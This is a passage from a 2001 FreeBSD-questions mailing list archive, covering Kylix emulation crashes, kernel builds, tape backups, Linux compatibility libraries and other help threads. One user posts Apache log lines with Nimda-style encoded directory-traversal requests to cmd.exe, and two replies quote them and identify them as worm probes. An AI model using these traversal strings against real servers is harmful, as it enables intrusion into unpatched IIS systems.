/usr/local/kylix2 and additionaly you should make a dir :>> like /compat/linux/usr/local/kylix2bin and symlink this to :>> /usr/local/kylix2bin :>> to ensure Kylix finds all its programs also it is in :>> Linuxulator mode). :>> :>> After the first start with 'startkylix' under fvwm2 the :>> baheviour is the :>> same as shown by Kylix version 1: after a while 'delphi' dumps a core :>> with an error: illegal instruction and the startscript 'Kylix' drops. :>> It seems that after starting the delphi core, the Linux :>> binary 'gets sick' :>> and I do not know why. :>> :>> Is anyone out here who runs Kylix successfuly on FreeBSD boxes? :>> :>> Thanks in advance, :>> Oliver :>> :>> -- :>> MfG :>> O. Hartmann :>> :>> ohartman@klima.physik.uni-mainz.de :>> ---------------------------------------------------------------- :>> IT-Administration des Institutes fuer Physik der Atmosphaere (IPA) :>> ---------------------------------------------------------------- :>> Johannes Gutenberg Universitaet Mainz :>> Becherweg 21 :>> 55099 Mainz :>> :>> Tel: +496131/3924662 (Maschinenraum) :>> Tel: +496131/3924144 :>> FAX: +496131/3923532 :>> :>> :>> To Unsubscribe: send mail to majordomo@FreeBSD.org :>> with "unsubscribe freebsd-emulation" in the body of the message :>> :> -- MfG O. Hartmann ohartman@klima.physik.uni-mainz.de ---------------------------------------------------------------- IT-Administration des Institutes fuer Physik der Atmosphaere (IPA) ---------------------------------------------------------------- Johannes Gutenberg Universitaet Mainz Becherweg 21 55099 Mainz Tel: +496131/3924662 (Maschinenraum) Tel: +496131/3924144 FAX: +496131/3923532 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 12:38:35 2001 Delivered-To: freebsd-questions@freebsd.org Received: from klima.physik.uni-mainz.de (klima.Physik.Uni-Mainz.DE [134.93.180.162]) by hub.freebsd.org (Postfix) with ESMTP id 4293E37B418; Mon, 19 Nov 2001 12:38:22 -0800 (PST) Received: from klima.Physik.Uni-Mainz.DE (klima.Physik.Uni-Mainz.DE [134.93.180.162]) by klima.physik.uni-mainz.de (8.11.6/8.11.4) with ESMTP id fAJKcIB01852; Mon, 19 Nov 2001 21:38:18 +0100 (CET) (envelope-from ohartman@klima.physik.uni-mainz.de) Date: Mon, 19 Nov 2001 21:38:18 +0100 (CET) From: "Hartmann, O." To: Kutulu Cc: "Person, Roderick" , , Subject: Re: KYLIX/Delphi on FreeBSD 4.4 boxes In-Reply-To: <20011119145836.A38329@pr0n.kutulu.org> Message-ID: <20011119213323.B1720-100000@klima.physik.uni-mainz.de> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Mon, 19 Nov 2001, Kutulu wrote: Within the next ten years or in ten years? :-) I used Kylix 1 under linux_base-6 and today I tried to install Kylix 2 under linux_base-7 which makes installation things easier, but the 'runtime' result is still the same, Kylix crashes! Before Kylex says goodbye it produces a lot of linux: 'ioctl' fd=8, cmd=0x7201 ('r',1) not implemented errors with ascending fd=xx numbers before dying in coredumping. The first moment I thought it could be a kind of 'not found library' but checking the cores shows me (and I would say I'm not a sophisticated developper or 'augur maximus' in doing this) that Kylix dys for a non implemented syscall ... :>On Mon, Nov 19, 2001 at 02:43:09PM -0500, Person, Roderick wrote: :>> I've been trying to get this to work too. :>> :>> I've looked at the core dump and it seems that kylix makes a call to :>> _sigsuspend. I'm not at home so I don't have the full error at hand. But it :>> seems this is a Linux system call that is not implemented in the linux base :> :>I've had a horribly time trying to get Kylix (1 or 2) to run under FreeBSD. I could barely get it to run under Linux as it, :>it kept crashing my X Server. On BSD, it generates a whole slew of 'fstat64() not implemented' errors. I think those relate :>to the fact that I had linux_base-7 installed instead of linux_base, but overall I just gave up and sent Borland and email :>politely requesting they compile Kylix under BSD in the next 10 years or so :) :> :>--K :> :> -- MfG O. Hartmann ohartman@klima.physik.uni-mainz.de ---------------------------------------------------------------- IT-Administration des Institutes fuer Physik der Atmosphaere (IPA) ---------------------------------------------------------------- Johannes Gutenberg Universitaet Mainz Becherweg 21 55099 Mainz Tel: +496131/3924662 (Maschinenraum) Tel: +496131/3924144 FAX: +496131/3923532 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 12:50:28 2001 Delivered-To: freebsd-questions@freebsd.org Received: from fac13.ds.psu.edu (fac13.ds.psu.edu [146.186.61.98]) by hub.freebsd.org (Postfix) with ESMTP id A3E1D37B405 for ; Mon, 19 Nov 2001 12:50:24 -0800 (PST) Received: from fac13.ds.psu.edu (localhost.ds.psu.edu [127.0.0.1]) by fac13.ds.psu.edu (8.11.6/8.11.3) with ESMTP id fAJKo7q00408; Mon, 19 Nov 2001 15:50:07 -0500 (EST) (envelope-from hawk@fac13.ds.psu.edu) Message-Id: <200111192050.fAJKo7q00408@fac13.ds.psu.edu> X-Mailer: exmh version 2.3.1 01/18/2001 with nmh-1.0.4 To: "Scott Robbins" , freebsd-questions@FreeBSD.ORG, Kent Stewart Subject: Re: kernel failure In-Reply-To: Your message of "Mon, 19 Nov 2001 15:38:17 EST." <005c01c1713a$23a8a020$4b08a8c0@starlowin2k1> From: dochawk@psu.edu Date: Mon, 19 Nov 2001 15:50:07 -0500 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG scot: yep, it was RAPTOR. I actually tried both methods in UPDATNG, but neither did it. I still got a similar error. I rm -rf'd /usr/src/sys/compile/RAPTOR, and all went well. hawk -- What part of "non-negotiable" didn't you understand? /"\ ASCII ribbon campaign dochawk@psu.edu Smeal 178 (814) 375-4700 \ / against HTML mail These opinions will not be those of X and postings. Penn State until it pays my retainer. / \ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 12:52:13 2001 Delivered-To: freebsd-questions@freebsd.org Received: from fac13.ds.psu.edu (fac13.ds.psu.edu [146.186.61.98]) by hub.freebsd.org (Postfix) with ESMTP id 822E437B41A for ; Mon, 19 Nov 2001 12:52:05 -0800 (PST) Received: from fac13.ds.psu.edu (localhost.ds.psu.edu [127.0.0.1]) by fac13.ds.psu.edu (8.11.6/8.11.3) with ESMTP id fAJKpwq00425; Mon, 19 Nov 2001 15:51:58 -0500 (EST) (envelope-from hawk@fac13.ds.psu.edu) Message-Id: <200111192051.fAJKpwq00425@fac13.ds.psu.edu> X-Mailer: exmh version 2.3.1 01/18/2001 with nmh-1.0.4 To: Kent Stewart Cc: freebsd-questions@FreeBSD.ORG Subject: Re: can't compile kernel over linux? In-Reply-To: Your message of "Mon, 19 Nov 2001 11:26:38 PST." <3BF95CEE.5030907@owt.com> From: dochawk@psu.edu Date: Mon, 19 Nov 2001 15:51:58 -0500 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Kent kleared, > Richard E. Hawkins wrote: > > I've managed to rescue my old kernel, but changes seem to be stopping > > me from updating: > > ===> linux > > cc -O -pipe -march=pentiumpro -D_KERNEL -Wall -Wredundant-decls -Wnested-externs -Wstrict-prototypes -Wmissing-prototypes -Wpointer-arith -Winline -Wcast-qual -fformat-extensions -ansi -DKLD_MODULE -nostdinc -I- -I. -I@ -I@/../include -mpreferred-stack-boundary=2 -Wall -Wredundant-decls -Wnested-externs -Wstrict-prototypes -Wmissing-prototypes -Wpointer-arith -Winline -Wcast-qual -fformat-extensions -ansi -c linux_sysent.c > > In file included from linux_sysent.c:14: > > linux_proto.h:57: syntax error before `linux_time_t' ... > > Stop in /usr/src/sys/modules/linux. > > *** Error code 1 > > Stop in /usr/src/sys/compile/RAPTOR. > It is a known problem. If you have a recent cvsup, the fix is covered in > /usr/src/UPDATING. You have to cleandir some things. I already sent a response, then realized it won't thread properly. I did both of the cleans suggested in UPDATING, and still had problems. I then rm -rf'd /usr/src/sys/compile/RAPTOR, and all went welll. thanks hawk -- What part of "non-negotiable" didn't you understand? /"\ ASCII ribbon campaign dochawk@psu.edu Smeal 178 (814) 375-4700 \ / against HTML mail These opinions will not be those of X and postings. Penn State until it pays my retainer. / \ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 12:53: 7 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mxout2.netvision.net.il (mxout2.netvision.net.il [194.90.9.21]) by hub.freebsd.org (Postfix) with ESMTP id C626D37B405 for ; Mon, 19 Nov 2001 12:53:04 -0800 (PST) Received: from homepc ([62.0.107.30]) by mxout2.netvision.net.il (iPlanet Messaging Server 5.1 (built Sep 5 2001)) with SMTP id <0GN200I02FCCNK@mxout2.netvision.net.il> for freebsd-questions@freebsd.org; Mon, 19 Nov 2001 22:53:02 +0200 (IST) Date: Mon, 19 Nov 2001 22:51:44 +0200 From: Noor Dawod Subject: SCSI tape back that works under FreeBSD To: freebsd-questions@freebsd.org Message-id: MIME-version: 1.0 X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) Content-type: text/plain; charset=windows-1255 Content-transfer-encoding: 7BIT Importance: Normal X-Priority: 3 (Normal) X-MSMail-priority: Normal Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hi, I want to buy a SCSI tape backup (DAT) for our server. Can anyone recommend a good one? fast and reliable that works under FreeBSD. While we're at it, how do you back up to one of these tape drives? Thanks in advance. Noor To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 12:59: 2 2001 Delivered-To: freebsd-questions@freebsd.org Received: from web20101.mail.yahoo.com (web20101.mail.yahoo.com [216.136.226.38]) by hub.freebsd.org (Postfix) with SMTP id 5ADC937B405 for ; Mon, 19 Nov 2001 12:58:57 -0800 (PST) Message-ID: <20011119205857.39148.qmail@web20101.mail.yahoo.com> Received: from [24.103.169.134] by web20101.mail.yahoo.com via HTTP; Mon, 19 Nov 2001 12:58:57 PST Date: Mon, 19 Nov 2001 12:58:57 -0800 (PST) From: ann kok Subject: apache's log To: freebsd-questions@FreeBSD.ORG MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hi all I would like to know whether my web server is comprising by the following log message How do I know it? Thank you very much 203.64.184.144 - - [20/Nov/2001:00:17:18 +0800] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0 " 404 304 203.64.184.144 - - [20/Nov/2001:00:17:19 +0800] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0 " 404 304 203.64.184.144 - - [20/Nov/2001:00:17:22 +0800] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0 " 404 304 203.64.184.144 - - [20/Nov/2001:00:17:26 +0800] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1. 0" 400 288 203.64.184.144 - - [20/Nov/2001:00:17:33 +0800] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 288 203.64.184.144 - - [20/Nov/2001:00:17:34 +0800] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/ 1.0" 404 305 203.64.184.144 - - [20/Nov/2001:00:17:40 +0800] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 305 industry.ssu.ac.kr - - [20/Nov/2001:01:21:34 +0800] "-" 408 - industry.ssu.ac.kr - - [20/Nov/2001:01:22:58 +0800] "-" 408 - industry.ssu.ac.kr - - [20/Nov/2001:01:24:29 +0800] "-" 408 - industry.ssu.ac.kr - - [20/Nov/2001:01:25:59 +0800] "-" 408 - industry.ssu.ac.kr - - [20/Nov/2001:01:27:30 +0800] "-" 408 - industry.ssu.ac.kr - - [20/Nov/2001:01:29:00 +0800] "-" 408 - industry.ssu.ac.kr - - [20/Nov/2001:01:30:30 +0800] "-" 408 - industry.ssu.ac.kr - - [20/Nov/2001:01:32:01 +0800] "-" 408 - industry.ssu.ac.kr - - [20/Nov/2001:01:33:31 +0800] "-" 408 - industry.ssu.ac.kr - - [20/Nov/2001:01:35:02 +0800] "-" 408 - industry.ssu.ac.kr - - [20/Nov/2001:01:36:32 +0800] "-" 408 - industry.ssu.ac.kr - - [20/Nov/2001:01:38:03 +0800] "-" 408 - __________________________________________________ Do You Yahoo!? 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Personals http://personals.yahoo.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 13: 0:42 2001 Delivered-To: freebsd-questions@freebsd.org Received: from yertle.kciLink.com (yertle.kcilink.com [216.194.193.105]) by hub.freebsd.org (Postfix) with ESMTP id BAFBC37B416 for ; Mon, 19 Nov 2001 13:00:39 -0800 (PST) Received: from onceler.kciLink.com (onceler.kciLink.com [216.194.193.106]) by yertle.kciLink.com (Postfix) with ESMTP id E2B2A1E841 for ; Mon, 19 Nov 2001 16:00:33 -0500 (EST) Received: (from khera@localhost) by onceler.kciLink.com (8.11.6/8.11.6) id fAJL0XX56384 for freebsd-questions@freebsd.org; Mon, 19 Nov 2001 16:00:33 -0500 (EST) (envelope-from khera) Date: Mon, 19 Nov 2001 16:00:33 -0500 (EST) Message-Id: <200111192100.fAJL0XX56384@onceler.kciLink.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii From: Vivek Khera To: freebsd-questions@freebsd.org Subject: Re: Epoch Time on Freebsd with perl Newsgroups: ml.freebsd.questions References: <87n11i34u7.fsf@ralf.artlogix.com> X-Trace: lorax.kciLink.com 1006203098 40164 216.194.193.106 (19 Nov 2001 20:51:38 GMT) X-Complaints-To: daemon@kciLink.com Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG >>>>> "KM" == Ken McGlothlen writes: KM> Someone whose name has been removed to protect the innocent writes: KM> | > [Chris Aitken writes] KM> | > $date1 = "2001-10-01 01:00:00"; KM> | > $date2 = "2001-10-01 03:00:00"; KM> | > KM> | > What I want is to somehow calculate that there is 2 hours between these 2 KM> | > dates (or 120 minutes, or 7200 seconds etc etc) [in Perl] KM> | > Any help on this would be appreciated. KM> | KM> | Depending on your database you could do this in SQL, I would recommend KM> | RTFMing its docs. KM> That deserves *some* kind of prize for possibly the least KM> efficient solution to a problem ever posted on the list. Why? The original poster was pulling the information *from* a database, so it seems most sensible to make the database compute the time difference during the fetch. It seems most efficient to me. -- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Vivek Khera, Ph.D. Khera Communications, Inc. Internet: khera@kciLink.com Rockville, MD +1-240-453-8497 AIM: vivekkhera Y!: vivek_khera http://www.khera.org/~vivek/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 13: 0:52 2001 Delivered-To: freebsd-questions@freebsd.org Received: from intergate.sdccd.cc.ca.us (intergate.sdccd.cc.ca.us [209.129.16.2]) by hub.freebsd.org (Postfix) with ESMTP id 0C9CD37B405 for ; Mon, 19 Nov 2001 13:00:45 -0800 (PST) Received: from ntxdistrict.sdccd.cc.ca.us (ntxdistrict.sdccd.cc.ca.us [10.1.100.1]) by intergate.sdccd.cc.ca.us (8.8.7/8.8.7) with ESMTP id LAA15648; Mon, 19 Nov 2001 11:51:21 -0800 (PST) Received: by ntxdistrict.sdccd.cc.ca.us with Internet Mail Service (5.5.2654.89) id ; Mon, 19 Nov 2001 13:02:05 -0800 Message-ID: From: Erin Fortenberry To: "'ann kok'" , freebsd-questions@FreeBSD.ORG Subject: RE: apache's log Date: Mon, 19 Nov 2001 13:01:49 -0800 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2654.89) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Are you running windows NT/2000 with IIS? If not then your answer is no. Erin > -----Original Message----- > From: ann kok [mailto:annkok2001@yahoo.com] > Sent: Monday, November 19, 2001 12:59 PM > To: freebsd-questions@FreeBSD.ORG > Subject: apache's log > > > Hi all > > I would like to know whether my web server is > comprising by the following log message > > How do I know it? > > Thank you very much > > 203.64.184.144 - - [20/Nov/2001:00:17:18 +0800] "GET > /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir > HTTP/1.0 > " 404 304 > 203.64.184.144 - - [20/Nov/2001:00:17:19 +0800] "GET > /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir > HTTP/1.0 > " 404 304 > 203.64.184.144 - - [20/Nov/2001:00:17:22 +0800] "GET > /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir > HTTP/1.0 > " 404 304 > 203.64.184.144 - - [20/Nov/2001:00:17:26 +0800] "GET > /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir > HTTP/1. > 0" 400 288 > 203.64.184.144 - - [20/Nov/2001:00:17:33 +0800] "GET > /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir > HTTP/1.0" > 400 288 > 203.64.184.144 - - [20/Nov/2001:00:17:34 +0800] "GET > /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir > HTTP/ > 1.0" 404 305 > 203.64.184.144 - - [20/Nov/2001:00:17:40 +0800] "GET > /scripts/..%252f../winnt/system32/cmd.exe?/c+dir > HTTP/1.0" > 404 305 > industry.ssu.ac.kr - - [20/Nov/2001:01:21:34 +0800] > "-" 408 - > industry.ssu.ac.kr - - [20/Nov/2001:01:22:58 +0800] > "-" 408 - > industry.ssu.ac.kr - - [20/Nov/2001:01:24:29 +0800] > "-" 408 - > industry.ssu.ac.kr - - [20/Nov/2001:01:25:59 +0800] > "-" 408 - > industry.ssu.ac.kr - - [20/Nov/2001:01:27:30 +0800] > "-" 408 - > industry.ssu.ac.kr - - [20/Nov/2001:01:29:00 +0800] > "-" 408 - > industry.ssu.ac.kr - - [20/Nov/2001:01:30:30 +0800] > "-" 408 - > industry.ssu.ac.kr - - [20/Nov/2001:01:32:01 +0800] > "-" 408 - > industry.ssu.ac.kr - - [20/Nov/2001:01:33:31 +0800] > "-" 408 - > industry.ssu.ac.kr - - [20/Nov/2001:01:35:02 +0800] > "-" 408 - > industry.ssu.ac.kr - - [20/Nov/2001:01:36:32 +0800] > "-" 408 - > industry.ssu.ac.kr - - [20/Nov/2001:01:38:03 +0800] > "-" 408 - > > __________________________________________________ > Do You Yahoo!? > Find the one for you at Yahoo! Personals > http://personals.yahoo.com > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 13: 1:27 2001 Delivered-To: freebsd-questions@freebsd.org Received: from klima.physik.uni-mainz.de (klima.Physik.Uni-Mainz.DE [134.93.180.162]) by hub.freebsd.org (Postfix) with ESMTP id 0E79D37B41E for ; Mon, 19 Nov 2001 13:01:11 -0800 (PST) Received: from klima.Physik.Uni-Mainz.DE (klima.Physik.Uni-Mainz.DE [134.93.180.162]) by klima.physik.uni-mainz.de (8.11.6/8.11.4) with ESMTP id fAJL1AB04239 for ; Mon, 19 Nov 2001 22:01:10 +0100 (CET) (envelope-from ohartman@klima.physik.uni-mainz.de) Date: Mon, 19 Nov 2001 22:01:10 +0100 (CET) From: "Hartmann, O." To: freebsd-questions@freebsd.org Subject: Linux_base-7 and several Linux software (fwd) Message-ID: <20011119220051.R2444-100000@klima.physik.uni-mainz.de> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hello. On new systems we try to install ports/linux_base-7 instead of the outdated linux_base-6, but we ran into trouble with several software products essential for desktop systems. Especially all types of Netscape (4.78, 4.79 and Netscape 6.2) need several parts of the older linux_base distribution and from there mainly libstdc++... libraries. The only way to get a working Netscape AND linux_base-7 is, installing linux_base-6 first, then installing all suspicious software (especially Netscape), deleting /compat/linux and installing linux_base-7. But before deleting the old /compat/linux I save/tar the libstdc++ libs located in usr/lib of the linuxulator base and then untaring them in the new, 7-based usr/lib. This works for netscape 4.78/4.79, StarOffice52 seems to be invulnerable against the 'base-change' ... Is this a problem of 'we are still on the way towards a completely base-7 based FBSD 4.5' or is base-7 more development like in FreeBSD 4.4? We run Lahey's Fortran95 Linux Version 5.5 on our servers (also VAST F90) and they seem to be immutable against the base-change ... -- MfG O. Hartmann ohartman@klima.physik.uni-mainz.de ---------------------------------------------------------------- IT-Administration des Institutes fuer Physik der Atmosphaere (IPA) ---------------------------------------------------------------- Johannes Gutenberg Universitaet Mainz Becherweg 21 55099 Mainz Tel: +496131/3924662 (Maschinenraum) Tel: +496131/3924144 FAX: +496131/3923532 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 13: 4: 7 2001 Delivered-To: freebsd-questions@freebsd.org Received: from akira.lanfear.com (akira.lanfear.com [216.168.61.84]) by hub.freebsd.org (Postfix) with SMTP id 49A1837B418 for ; Mon, 19 Nov 2001 13:04:01 -0800 (PST) Received: (qmail 75786 invoked from network); 19 Nov 2001 21:03:55 -0000 Received: from c1854262-a.sttln1.wa.home.com (HELO sakura) (24.255.90.101) by akira.lanfear.com with SMTP; 19 Nov 2001 21:03:55 -0000 From: mw@lanfear.com To: ann kok , freebsd-questions@FreeBSD.ORG Subject: Re:apache's log MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" X-Mailer: Kiltdown 0.7 Message-Id: <20011119210401.49A1837B418@hub.freebsd.org> Date: Mon, 19 Nov 2001 13:04:01 -0800 (PST) Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG this question is being asked about twice a day these days.... It's the Nimda Virus. The only bad thing is that it's filling up your (and my) log files. marc. > ----------------------------- > From: ann kok > To: freebsd-questions@FreeBSD.ORG > Subject: apache's log > Sent: 11/19/2001 12:58> > > > Hi all > > I would like to know whether my web server is > comprising by the following log message > > How do I know it? > > Thank you very much > > 203.64.184.144 - - [20/Nov/2001:00:17:18 +0800] "GET > /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir > HTTP/1.0 > " 404 304 > 203.64.184.144 - - [20/Nov/2001:00:17:19 +0800] "GET > /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir > HTTP/1.0 > " 404 304 > 203.64.184.144 - - [20/Nov/2001:00:17:22 +0800] "GET > /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir > HTTP/1.0 > " 404 304 > 203.64.184.144 - - [20/Nov/2001:00:17:26 +0800] "GET > /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir > HTTP/1. > 0" 400 288 > 203.64.184.144 - - [20/Nov/2001:00:17:33 +0800] "GET > /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir > HTTP/1.0" > 400 288 > 203.64.184.144 - - [20/Nov/2001:00:17:34 +0800] "GET > /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir > HTTP/ > 1.0" 404 305 > 203.64.184.144 - - [20/Nov/2001:00:17:40 +0800] "GET > /scripts/..%252f../winnt/system32/cmd.exe?/c+dir > HTTP/1.0" > 404 305 > industry.ssu.ac.kr - - [20/Nov/2001:01:21:34 +0800] > "-" 408 - > industry.ssu.ac.kr - - [20/Nov/2001:01:22:58 +0800] > "-" 408 - > industry.ssu.ac.kr - - [20/Nov/2001:01:24:29 +0800] > "-" 408 - > industry.ssu.ac.kr - - [20/Nov/2001:01:25:59 +0800] > "-" 408 - > industry.ssu.ac.kr - - [20/Nov/2001:01:27:30 +0800] > "-" 408 - > industry.ssu.ac.kr - - [20/Nov/2001:01:29:00 +0800] > "-" 408 - > industry.ssu.ac.kr - - [20/Nov/2001:01:30:30 +0800] > "-" 408 - > industry.ssu.ac.kr - - [20/Nov/2001:01:32:01 +0800] > "-" 408 - > industry.ssu.ac.kr - - [20/Nov/2001:01:33:31 +0800] > "-" 408 - > industry.ssu.ac.kr - - [20/Nov/2001:01:35:02 +0800] > "-" 408 - > industry.ssu.ac.kr - - [20/Nov/2001:01:36:32 +0800] > "-" 408 - > industry.ssu.ac.kr - - [20/Nov/2001:01:38:03 +0800] > "-" 408 - > > __________________________________________________ > Do You Yahoo!? > Find the one for you at Yahoo! Personals > http://personals.yahoo.com > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 13:29: 5 2001 Delivered-To: freebsd-questions@freebsd.org Received: from lists.blarg.net (lists.blarg.net [206.124.128.17]) by hub.freebsd.org (Postfix) with ESMTP id E971A37B419 for ; Mon, 19 Nov 2001 13:28:47 -0800 (PST) Received: from thig.blarg.net (thig.blarg.net [206.124.128.18]) by lists.blarg.net (Postfix) with ESMTP id 2E330BCFA; Mon, 19 Nov 2001 13:28:47 -0800 (PST) Received: from localhost.localdomain ([206.124.139.115]) by thig.blarg.net (8.9.3/8.9.3) with ESMTP id NAA11944; Mon, 19 Nov 2001 13:28:46 -0800 Received: (from jojo@localhost) by localhost.localdomain (8.11.6/8.11.3) id fAJLR0T73485; Mon, 19 Nov 2001 13:27:00 -0800 (PST) (envelope-from swear@blarg.net) To: "Anthony Atkielski" Cc: "FreeBSD Questions" Subject: Re: Mysterious boot during the night References: <005201c1706f$572afb80$6600000a@ach.domain> <20011119124150.R16195@monorchid.lemis.com> <005901c170a2$1cd5efc0$0a00000a@atkielski.com> <200111182159.11756@starbreaker.net> <20011119135936.S16195@monorchid.lemis.com> <001901c170c0$ce2ef460$9600000a@custcom> <00c201c170c5$d4222400$0a00000a@atkielski.com> From: swear@blarg.net (Gary W. Swearingen) Date: 19 Nov 2001 13:26:59 -0800 In-Reply-To: <00c201c170c5$d4222400$0a00000a@atkielski.com> Message-ID: Lines: 18 User-Agent: Gnus/5.0808 (Gnus v5.8.8) XEmacs/21.1 (Cuyahoga Valley) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG "Anthony Atkielski" writes: > It would seem, then, that I'm best off just sticking with RELEASE, no? As a 9-month user, I'd confidently say MAYBE. It depends on how well RELEASE works for you, and how you trade off the benefits of new features against the risk of problems, no? The words that you replied to seem to be CYA verbiage which reflects the fact that STABLE has not always been well tested as a released "product" (sometimes hardly at all) and might occasionally not work well, or not at all. But, as you've probably noticed by now, a common (for good reason) reply to reports of problems is "use the latest STABLE" (sometimes followed by "before reporting problems"). Be glad that you at least have a choice. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 13:29: 4 2001 Delivered-To: freebsd-questions@freebsd.org Received: from intranet.ru (tcms8.intranet.ru [212.164.0.135]) by hub.freebsd.org (Postfix) with ESMTP id D1BE537B421; Mon, 19 Nov 2001 13:28:44 -0800 (PST) Received: from [212.164.0.132] (account ) by intranet.ru (CommuniGate Pro WebUser 3.4.8) with HTTP id 5941191; Tue, 20 Nov 2001 03:28:42 +0600 From: "Eugene Panchenko" Subject: WindowMaker gettext dependencies To: freebsd-ports@freebsd.org Cc: freebsd-questions@freebsd.org X-Mailer: CommuniGate Pro Web Mailer v.3.4.8 Date: Tue, 20 Nov 2001 03:28:42 +0600 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="KOI8-R" Content-Transfer-Encoding: 8bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hello! Starting from ports/x11-wm/windowmaker/Makefile CVS revision 1.88, the following line was added to it: BUILD_DEPENDS= msgfmt-new:${PORTSDIR}/devel/gettext-devel that is, from that moment WindowMaker actually depends *both* on gettext-0.10.35 (stable) and gettext-0.10.38 (devel). Seems rather strange to me. Especially provided that there was nothing about this on www.windowmaker.org, and on my friend's debian system it depends *only* on gettext-0.10.35 (stable). Anyone?? 10x! ---------------------------------------------------------- ðÏÓÅÔÉÔÅ "íïóëï÷óëéê çïòïäóëïê óáêô" http://mosk.ru To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon 